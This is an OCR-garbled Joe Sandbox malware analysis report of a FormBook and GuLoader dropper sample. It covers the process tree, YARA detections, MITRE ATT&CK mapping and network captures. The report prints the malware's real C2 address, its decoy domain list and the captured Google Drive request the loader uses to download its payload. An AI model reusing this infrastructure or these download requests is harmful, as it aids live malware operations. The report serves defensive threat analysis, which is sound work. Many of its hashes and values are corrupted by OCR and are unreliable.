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Windows Analysis Report Original Doc Ref SN02853801...
Overview

General Information Detection

Sample Original Doc Ref
Name: SN02853801324189923.ex MALICIOUS

e

Classification

Found malware configuration

Yara detected Generic Dropper
Analysis ID: 542742

Multi AV Scanner detection for subm...

@
«Q
>
2
c
=
@
]

MDs: 2b40b86c870ab6..
. Yara detected FormBook
SHAL: 78a6fc51761c25f..
SHA256: 6c9cobd77d704c.. Malicious sample detected (through ...
Tags: Gul.oader behavior detected
Infos: n E Q ‘f il & Multi AV Scanner detection for doma...

Multi AV Scanner detection for dropp...

GulLoader FormBook

Yara detected GulLoader

Score: 100 Hides threads from debuggers
. Range: 0-100 Maps a DLL or, memory area in
Whitelisted: false
X Tries to detect Any.run
Confidence: 100%

o

-
w D

= System is w10x64
. R Original Doc Ref SN02853801324189923.exe (PID: 6352 cmdline: "C:\Users\user\Desktop\Original Doc Ref SN02853801324189923.exe" MD5:
2B40B86C870AB6BOE9BO8F26BD231E1A)
e [ Semiha.exe (PID: 6404 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\Semiha.exe MD5: AE871D1957030344D4CEFC7295A1E964)
e [ Semiha.exe (PID: 5580 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\Semiha.exe MD5: AE871D1957030344D4CEFC7295A1E964)
o [ explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. D rundll32.exe (PID: 6612 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\

MD5: 73C519F050C20580F8A62C849D49215A)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [

"www. thesocialmediacreator.com/1638/"

1,

"decoy": [
"serenitynailandspanj.com”,
"health-dodo.com”,
"agjordan.net",
"retro-kids.com”,
"bobbygoldsports.com”,
"seitai-kuuto369.com”,
"sooga.club”,
"ezsweswrwy68.biz",
"1006e.com",
"libinyu.com",
"prolinkdm.com",
"pilysc.com",

"blim.xyz",
"eshop-dekorax.com",
"timestretchmusic.com”,
"bs6351.com”,
"diamondmoodle.com”,
"antioxida.com",
"sakugastudios.com”,
"metaverse-coaching.com",
"motometics.com”,
"i{1lumination-garage.com”,
"thelocalsproject.com”,
"erealestater.com”,
"frankenamazing.com",
"arab-enterprises.com”,
"e15datadev.com"”,
"bet365star.online”,
"bttextiles.com”,
"originaltradebot.icu”,
"test-testjisdnsec.net"”,
"cloudwerx.digital”,
"gsjbd10.club"”,
"joshuaearp.xyz",
"tvaluehelp.com”,
"quietplaceintheforest.com”,
"refinanceforblue.com”,
"voiceoftour.com",
"civicinfluence.con”,
"taxation-resources.com”,
"regeneration. land",
"gogit.net",
"spicynipples.com”,
"goldingravel.com",
"selingoo.com",
"aaryantech.com”,
"insight-j.com",
"drivenbylight.net",
"meipassion.com”,
"scuolapadelroma.store”,
"929671.com",
"parkerdazzle.com”,
"yehudi-meshutaf.com",
"johnsonforsheriff2022.com",
"pointhunteracademy.com”,
"kyliiejenner.com",
"tenlog066.xyz",
"dobylife.com",
"josemanueldelbusto.com”,
"vspfrme.com",
"256571.com",
"crossovertest.net",
"fullcurlenc.com",
"theworldisheroyster.com"

Threatname: GuLoader

"Payload URL": "https://drive.google.com/uc?export=download&id=1vqWz"

Yara Overview

Memory Dumps
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Source Rule Description Author Strings

00000019.00000000.481436441.000000000056 JoeSecurity_GulLoader_2 Yara detected Joe Security
0000.00000040.00000001.sdmp GuLoader
00000002.00000002.482011607.00000000029E JoeSecurity_GulLoader_2 Yara detected Joe Security
0000.00000040.00000001.sdmp GuLoader
00000019.00000002.782433249.000000001E46 JoeSecurity_FormBook Yara detected Joe Security
0000.00000040.00020000.sdmp FormBook
00000019.00000002.782433249.000000001E46 Formbook_1 autogenerated rule Felix Bilstein - e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0000.00000040.00020000.sdmp brought to you by  yara-signator at e 0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0Ox146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
com 57494
e 0x14191:$sequence_2: 3B 4F 14 73 9585 C9 74 91
e 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
e 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
e 0Ox93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
e 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
e Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
e 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
e Oxlac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
00000019.00000002.782433249.000000001E46 Formbook detect Formbook  JPCERT/CC 0x16ac9:$sqlite3step: 68 34 1C 7B E1
0000.00000040.00020000.sdmp in memory Incident Response Ox16bdc:$sqlite3step: 68 34 1C 7B E1
Group Ox16af8:$sqlite3text: 68 38 2A 90 C5

Ox16cld:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

Click to see the 2 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Networking: -ll

E-Banking Fraud: | | |
gt |
System Summary: | | |

Malicious sample detected (through community Yara rule)
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Data Obfuscation:

=

Yara detected GuLoader

Malware Analysis System Evasion:

=

Anti Debugging:

J

HIPS | PFW | Operating System Protection Evasion:

]

Stealing of Sensitive Information:

Yara detected Generic Dropper
Yara detected FormBook

GuLoader behavior detected

Remote Access Functionality:

=

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Network
Access Execution  Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effects
Valid Command Path Access Token Virtualization/Sandbox OS System Time Remote Archive Exfiltration Encrypted Eavesdro
Accounts  and Scripting Interception Manipulation Evasion Credential Discovery Services Collected  Over Other Channel Insecure
Interpreter Dumping Data Network Network
Medium Communi
Default Native Boot or Process Access Token LSASS Security Software Remote Data from  Exfiltration Ingress Tool Exploit S¢
Accounts  API Logon Injection Manipulation Memory  Discovery Desktop Removable Over Transfer Redirect F
Initialization Protocol Media Bluetooth Calls/SM¢
Scripts
Domain At (Linux) Logon Script Logon Script Process Security Virtualization/Sandbox SMB/Windows Data from Automated Non-Application  Exploit S¢
Accounts (Windows)  (Windows) Injection Account  Evasion Admin Shares Network  Exfiltration Layer Protocol [B) Track De
Manager Shared Location
Drive
Local At (Windows) Logon Script Logon Script Obfuscated Filesor  NTDS Process Discovery Distributed Input Scheduled Application Layer SIM Card
Accounts (Mac) (Mac) Information Component  Capture  Transfer  Protocol Swap
Object Model
Cloud Cron Network Network Logon  RundlI32 LSA Remote System SSH Keylogging Data Fallback Manipulat
Accounts Logon Script Script Secrets Discovery Transfer Channels Device
Size Limits Communi
Replication Launchd Rc.common Rc.common Software Packing Cached File and Directory VNC GUI Input  Exfiltration  Multiband Jamming
Through Domain Discovery Capture Over C2 Communication  Denial of
Removable Credentials Channel Service
Media
External Scheduled Startup Startup Items Compile After DCSync System Information Windows Web Portal Exfiltration Commonly Used Rogue Wi
Remote Task ltems Delivery Discovery a Remote Capture Over Port Access P
Services Management Alternative
Protocol

Behavior Graph
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Behavior Graph

D: 542742
Sample: Original Doc Ref SN02853801... [EESTEaram=
Startdate: 20/12/2021 CLEAN
Architecture:  WINDOWS W
Score: 100
- - - s e o
Original Doc Ref SN02853801324189923.exe u" rundii32.exe -
G he e
dropped
C:\Userslusen\AppDatalLocall..\Semiha.exe, PEaz@ started

Machine Learning detection

i Tries to detect Any.run

2 other signatures started

Semiha.exe &

(CIET U

googlehosted.|

3, 4983

drive.google.com G

68.4¢ 0830

docs.googleusercontent.com .:q

Tries to detect Any.run

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Maps a DLL or memory
area into another process

=
®

«Q
@®
=}
o

Process
Signature
Created File
DNS/IP Info
Is Dropped

« .+ lO0OC]

Is Windows Process

Number of created Registry Values

Number of created Files

S

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

Q@ 2|

Internet

Hides threads from debuggers

Ay
(o  expoerere  gw

c]
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HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Original Doc Ref SN02853801324189923.exe
Original Doc Ref SN02853801324189923.exe
Original Doc Ref SN02853801324189923.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\IXP0O00.TMP\Semiha.exe
C:\Users\user\AppData\Local\Temp\IXP000. TMP\Semiha.exe
Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Copyright Joe Security LLC 2021

Detection
30%

9%

100%

Detection
100%
32%

Scanner Label
Virustotal

ReversingLabs

Joe Sandbox ML

Scanner Label
Joe Sandbox ML

Virustotal

Link

Browse

Link

Browse
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https://www.virustotal.com/gui/file/6c9c9bd77d704ca8c48a0125289e0e15e75f62f09d40ffad58a24bd96c3a57c0/detection/f-6c9c9bd77d704ca8c48a0125289e0e15e75f62f09d40ffad58a24bd96c3a57c0-1639983111
https://www.virustotal.com/gui/file/6f8a836d10eada55bb1d3901ceb5b97711afc9f7018e3bd0f0a8e77521f18e5b/detection/f-6f8a836d10eada55bb1d3901ceb5b97711afc9f7018e3bd0f0a8e77521f18e5b-1639992930

Source Detection Scanner Label Link

www.thesocialmediacreator.com/i638/ 0% Avira URL Cloud safe

http://https://csp.withgoogle.com/csp/report-to/gse_I9ocaq 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
drive.google.com 172.217.168.46 true false high
googlehosted.l.googleusercontent.com 172.217.168.1 true false high
doc-10-80-docs.googleusercontent.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:i/https://doc-10-80- false high
docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhgsh7mbpl/v1hb64q8i4
krmmckqtjah3e0j55ac599/1640006700000/05208698352720309252/*/1vqWz_R4BQMLYrOEw

MvVJI53NsyRGjMpKI?e=download

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
172.217.168.46 drive.google.com United States = 15169 GOOGLEUS false
172.217.168.1 googlehosted.l.googleuser United States = 15169 GOOGLEUS false

content.com

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 542742
Start date: 20.12.2021
Start time: 14:21:10
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 10m 40s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Original Doc Ref SN02853801324189923.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 28
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
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https://www.virustotal.com/gui/url/61fa6142b76538c2a8cd6b2bdc30ddb4b6947bbd10f6a1ad3e4c92819c2052aa/detection/u-61fa6142b76538c2a8cd6b2bdc30ddb4b6947bbd10f6a1ad3e4c92819c2052aa-1639474260
https://www.virustotal.com/gui/url/61fa6142b76538c2a8cd6b2bdc30ddb4b6947bbd10f6a1ad3e4c92819c2052aa/detection/u-61fa6142b76538c2a8cd6b2bdc30ddb4b6947bbd10f6a1ad3e4c92819c2052aa-1639474260

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.WinEXE@6/1@2/2

EGA Information: Failed

HDC Information: e Successful, ratio: 54.6% (good quality ratio 41.3%)

e Quality average: 60%
e Quality standard deviation: 39.3%

HCA Information: Failed
Cookbook Comments: e Adjust boot time
e Enable AMSI

e Found application associated with file extension: .exe
e Override analysis time to 240s for rundll32

Warnings: Show All

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context
Dropped Files

No context

Created / dropped Files

Process: C:\Users\user\Desktop\Original Doc Ref SN02853801324189923.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: modified

Size (bytes): 114688

Entropy (8bit):  6.668317897407225

Encrypted: false

SSDEEP: 1536:07p6t8RjmignYaH0+4wA0zGU31Uv2VXu0zyADDTr8srw6zbagP:5tGmpcl18GYrewXD4sr/bFP

MD5: AE871D1957030344D4CEFC7295A1E964

SHAL: 73E0D642D14CA3DCFCA3D22FA2312968D1BA5CD6

SHA-256: 6F8A836D10EADA55BB1D3901CEB5B97711AFCI9F7018E3BDOFOABE77521F18E5B

SHA-512: BC5A39F9A86BC6D461C32A947A61D7BBDODDSAE93700BCIE3E984B33DF6BOAOFACOESDD71CAS0E8DCFEE9314BD00824FD4EC507C66E22E4BD20C1EDFODA
4679
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Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 32%, Browse

Malicious: true
Reputation: low
Preview:

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Copyright Joe Security LLC 2021

f8eOedeBecccc870

0x4069d0
text
false
0x400000

windows gui

8...

PE32 executable (GUI) Intel 80386, for MS Windows
7.373376085032679

e Win32 Executable (generic) a (10002005/4)
97.02%

e Win32 MS Cabinet Self-Extractor (WExtract stub)
(303627/2) 2.95%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

Original Doc Ref SN02853801324189923.exe
214528

2b40b86c870ab6b0e9b08f26bd231ela
78a6fc51761c25fe571fec37cadbeaal3d7b5d48

6c9c9bd77d704ca8c48a0125289e0e15e75f62f09d40ffa
d58a24bd96c3a57c0

ee585115ff7a99ff169915199chc904529e53bf139d0423f
28df5fd41714c01928150442fef33ae364ac6209c2bb62e
285c1cf88b9202272ccOeec11780eb4dl

3072:UwdK6g8ITOXESGWp1icKAArDZZz4N9GhbKrNEKL
ACBynjTy9d41bdOXF:VK6g8ITepOyNIOQE44joX

32BIT_MACHINE, EXECUTABLE_IMAGE
GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
0x545301EF [Fri Oct 31 03:28:47 2014 UTC]

W OO W o w O

bc70c4fa605f17c85050b7c7b6d42e44
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https://www.virustotal.com/gui/file/6f8a836d10eada55bb1d3901ceb5b97711afc9f7018e3bd0f0a8e77521f18e5b/detection/f-6f8a836d10eada55bb1d3901ceb5b97711afc9f7018e3bd0f0a8e77521f18e5b-1639992930

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size
text 0x1000 0x6964
.data 0x8000 Oxla8c
.idata 0xa000 0x107c
.rsrc 0xc000 0x2c000
.reloc 0x38000 0x8c0
Resources

Imports

Version Infos
Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Dec 20, 2021 14:25:59.384783030 CET

Dec 20, 2021 14:26:00.488233089 CET

DNS Answers

Timestamp Source IP Dest IP

Dec 20, 2021
14:25:59.413098097
CET

Dec 20, 2021
14:26:00.514616966
CET

8.8.8.8 192.168.2.7

8.8.8.8 192.168.2.7

Copyright Joe Security LLC 2021

Raw Size

0x6a00

0x400

0x1200

0x2b800

0xa00

Source IP
192.168.2.7

192.168.2.7

Trans ID
0xd9dd

Oxebb5

Xored PE ZLIB Complexity
False 0.572044516509
False 0.3232421875
False 0.418402777778
False 0.830454157687
False 0.771875

Country where language is spoken

United States

Dest IP Trans ID
8.8.8.8 0xd9dd
8.8.8.8 Oxebb5
Reply Code Name
No error (0) drive.goog
le.com
No error (0) doc-10-80-
docs.googl
euserconte
nt.com

File Type Entropy Characteristics
data 6.35037999484 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
data 3.17592784688 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
data 5.04714087963 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
data 7.46724692582 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
data 6.37328857441 IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ
OP Code Name Type Class
Standard query  drive.google.com A (IP address) IN (0x0001)
0
Standard query  doc-10-80- A (IP address) IN (0x0001)
(0) docs.googl
eusercontent.com
CName Address Type Class
172.217.168.46 A (IP address)  IN (0x0001)
googlehosted.l.googleuse CNAME IN (0x0001)
rcontent.com (Canonical
name)
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Timestamp Source IP Dest IP Trans ID
Dec 20, 2021 8.8.8.8 192.168.2.7 Oxebb5
14:26:00.514616966

CET

HTTP Request Dependency Graph

e drive.google.com

e doc-10-80-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.2.7 49830
kBytes

Timestamp transferred Direction

2021-12-20 13:25:59 UTC O ouT

2021-12-20 13:26:00 UTC O IN

2021-12-20 13:26:00 UTC 1 IN

2021-12-20 13:26:00 UTC 2 IN

Session ID Source IP Source Port

1 192.168.2.7 49831
kBytes

Timestamp transferred Direction

2021-12-20 13:26:00 UTC 2 ouT

Copyright Joe Security LLC 2021

Reply Code Name CName Address Type Class

No error (0) googlehost 172.217.168.1 A (IP address)  IN (0x0001)
ed.l.googl
euserconte
nt.com

Destination IP Destination Port Process

172.217.168.46 443 C:\Users\user\AppData\Local\Temp\IXP000.TMP\Semiha.exe

Data

GET /uc?export=download&id=1vqWz_R4BQMLYrOEwMvVJ53NsyRGjMpKI HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 20 Dec 2021 13:26:00 GMT

Location: https://doc-10-80-docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhgsh7mbpl/v1hb64g8
i4krmmckgqtjah3e0j55ac599/1640006700000/05208698352720309252/%/1vqWz_R4BQMLYrOEWMvVJI53NsyRGjMpKI?
e=download

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints”:[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src ‘nonce-bXZw5RE8YXeMsyZpz3iV4g' 'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=qSQSrMytFmju2yso72mVjfu3f_DCBwDC_ILZ2D86HGGcutyOkOUu-11gMLCnouUluSnITN
7NzvziHMBZYeGIO1pRYRE3WXDNrEzalmVtP1dznd2FNf1IHZRYIIRUItI96e5Uzu26PGhka7ZVYW963NJz5grnWUzny

of FWOdmJevQ); expires=Tue, 21-Jun-2022 13:26:00 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
@

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 31 30 2d 38 30 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 76 31 68 62

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-10-80-docs.goog
leusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhgsh7mbpl/vihb

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP Destination Port Process

172.217.168.1 443 C:\Users\user\AppData\Local\Temp\IXP000.TMP\Semiha.exe

Data

GET /docs/securesc/haOro937gcuc?I7deffksulhgsh7mbpl/v1hb64q8i4krmmckgtjiah3e0j55ac599/1640006700000/0
5208698352720309252/*/1vqWz_R4BQMLYrOEwMVVJ53NsyRGjMpKI?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-10-80-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-20 13:26:00 UTC 2

2021-12-20 13:26:00 UTC 6

2021-12-20 13:26:00 UTC 9

2021-12-20 13:26:00 UTC 13

2021-12-20 13:26:00 UTC 17

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdsvb5CletL_jkgKYf5XdBuaCB3_SZTMplFQb20_16iuOwWF-JI0bc6Noy_Di-xV-SpDLC7K26
JryPo7LIJfBAE

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-
Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding,
X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-1d, X-Goog-FieldMask, X-Google-
Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-
User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-T
ype, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-
Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-frame
work-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-Clie
ntVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSo
urce, X-Goog-Meeting-Token, X-Goog-Meeting-Viewerlnfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-
Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-
Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-
application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale,
EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="XL bin_kNlustnM242.bin";filename*=UTF-8"XL%20bin_kNIlustnM242.bin
Content-Length: 167488

Date: Mon, 20 Dec 2021 13:26:00 GMT

Expires: Mon, 20 Dec 2021 13:26:00 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=+vFLoA==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: a4 5c e0 47 bb 64 2d be fe c8 2e 91 92 1d 15 22 b9 28 8f 9d b8 c¢9 9d 77 ce 99 78 7c 92 cf de 61 8c da 4c a8 b9
24 2b 7f 23 d8 76 18 14 48 6¢ 37 07 1c ba 96 29 02 21 2b 48 f2 24 2a ab f5 c0 25 de a6 66 df 2d 42 20 36 fO 3e dd 80 cb
b0 f0 cf 8f c1 8b 4f d3 47 b9 b6 3f 68 23 7b 48 el 2a 2f 40 85 c7 6a 42 ba 61 d0 16 c9 el 18 53 34 48 ba ee 49 62 7f ce 34
1c b7 0d b8 4e 87 6e e5 9a a3 72 1f e9 f2 dc Oc 37 90 42 b8 25 7e e9 4f c2 39 ee bb c0 Ob 41 35 f4 64 39 9c a3 44 63 3¢
83 c9 5b 6a bc 18 78 9d 8e 42 a6 9e 02 2c 32 3c fc ee 8 2f ae f0 85 f8 05 6b 62 cb 3f 7e 7 a9 Oc a6 ed df b5 2d b1 92 b5
00 0d aa ad 81 32 ae 8 dd fc 7e 68 69 7e d6 b3 7b b0 eb 37 1f 99 02 fO d2 dO 90 30 dO Oe 06 91 d7 63 4a b5 cc 74 36 6b
05 24 aa 56 d1 a9 31 59 52 c5 aa f2 bf 40 48 43

Data Ascii: \Gd-."(wx|aL$+#VHI7)!1+H$*%f-B 6>0G?h#{H*/@jBaS4HIb4NNnr7B%~09A5d9Dc<[jxB,2</kb?~-2~hi~{70
cJt6k$V1IYR@HC

Data Raw: f8 2e 97 95 c4 e1 80 15 d0 0d c2 6b f3 3a 6d 9f 8d f0 8c e2 23 8¢ 32 5a 44 94 3d b3 bf 9e 0d Oa a4 41 17 ae 81
37 138 89 77 b2 2f 3a a4 68 2f 05 ff 7b 6e b7 01 5e b3 a2 07 83 2d b0 09 3f 22 6a 1f 62 1b 94 21 4d 15 9c 06 2 56 4 8e
03 80 dc 50 a0 58 db 38 Oc b7 6¢ a4 98 23 d3 b0 b0 88 4b 79 e4 a0 73 67 3c 8a 04 cf 6b c6 78 3a 06 4a d2 3a c4 61 46 ce
